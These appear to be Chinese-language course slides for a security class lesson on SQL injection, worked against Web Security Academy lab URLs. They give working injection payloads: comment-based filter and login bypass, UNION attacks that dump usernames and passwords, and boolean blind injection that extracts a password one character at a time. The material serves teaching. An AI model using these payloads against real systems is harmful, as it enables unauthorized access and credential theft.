資安第四堂
SQL injection
題解
Index
SQL基本語法
SELECT
SELECT column1, column2, ...
FROM table_name
WHERE condition;SELECT * FROM Customers
WHERE Country = 'Mexico';從「Customers」選 Country = 'Mexico'的全部欄位
ORDER BY
SELECT column1, column2, ...
FROM table_name
ORDER BY column1, column2, ... ASC|DESC;SELECT * FROM Customers
ORDER BY Country, CustomerName;依哪一欄作為排序
SELECT * FROM Customers
ORDER BY 1;LIMIT
SELECT column_name(s)
FROM table_name
WHERE condition
LIMIT number;SELECT * FROM Customers LIMIT 3,3;限制回傳的數量
SELECT * FROM Customers LIMIT 3;SELECT * FROM Customers LIMIT 3 OFFSET 3;UNION
SELECT column_name(s) FROM table1
UNION
SELECT column_name(s) FROM table2;連結多個SELECT
SQL
SQL injection
retrieval of hidden data
https://123.web-security-academy.net/filter?category=Pets
SELECT * FROM products WHERE category = 'Pets' AND released = 1
category會回傳到後端進行SQL查詢
嘗試將AND released = 1用--註解掉
https://123.web-security-academy.net/filter?category=Pets'+or+1=1--
(+等於%20代表空白)
SELECT * FROM products WHERE category = 'Pets' or 1=1--' AND released = 1
login bypass
SELECT * FROM users WHERE username = 'jellyfish' AND password = '12345'
用--將AND password = '12345'註解掉
SELECT * FROM users WHERE username = 'jellyfish'--' AND password = '12345'
UNION 攻擊
UNION可以執行多個額外的SELECT查詢
ex:
SELECT * FROM products WHERE category = 'Pets' UNION SELECT username, password FROM user --' AND released = 1
兩個關鍵
- 每個查詢要回傳相同數量的資料列 -> 確認資料列數量
- 每個資料列的資料型態在查詢之間必須符合 -> 確認資料型態
determine-number-of-columns
- 利用 ORDER BY 直到發生錯誤
SELECT * FROM products WHERE category = 'Pets' ORDER BY 1 --' AND released = 1
- 利用 UNION SELECT 直到沒有錯誤
SELECT * FROM products WHERE category = 'Pets' UNION SELECT NULL--' AND released = 1
確認欄位資料型態
SELECT * FROM products WHERE category = 'Pets' UNION SELECT 'a',NULL,NULL,NULL--' AND released = 1
如果沒有噴錯表示該欄位為字串 ( String)
SELECT * FROM products WHERE category = 'Pets' UNION SELECT NULL,'a',NULL,NULL--' AND released = 1
通常是MSSQL 要猜
retrieve-data-from-other-tables
已知表 users 存在 username , password 欄位
SELECT * FROM products WHERE category = 'Pets' union SELECT username, password from users --' AND released = 1
Blind SQL injection
有sql injection但沒有顯示結果or錯誤訊息
通過觸發條件回應來利用盲SQL注入
透過cookie使用者情況的網站 -> 測試是否有帳號
TrackingId = x' UNION SELECT 'a' WHERE 1=1-- ⮕ True前端有東西
TrackingId = x' UNION SELECT 'a' WHERE 1=2-- ⮕False前端沒東西
測試帳號 Administrator 是否存在
TrackingId = x' UNION SELECT 'a' FROM users WHERE username='administrator'--
Blind SQL injection
可以藉由回傳之 true 或 false 將一個字元一個字元的將完整的密碼測試出來
搭配函數 SUBTRING (部分類型的資料庫中函數名為 SUBSTR )
TrackingId = x' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm' --
推測試第二個位元(SUBSTRING(Password, 2, 1))
功課:D
ㄛ功課不多但建議大家把前面示範的Lab都玩一次:D
參考資料
資安第四堂
By jellyfish
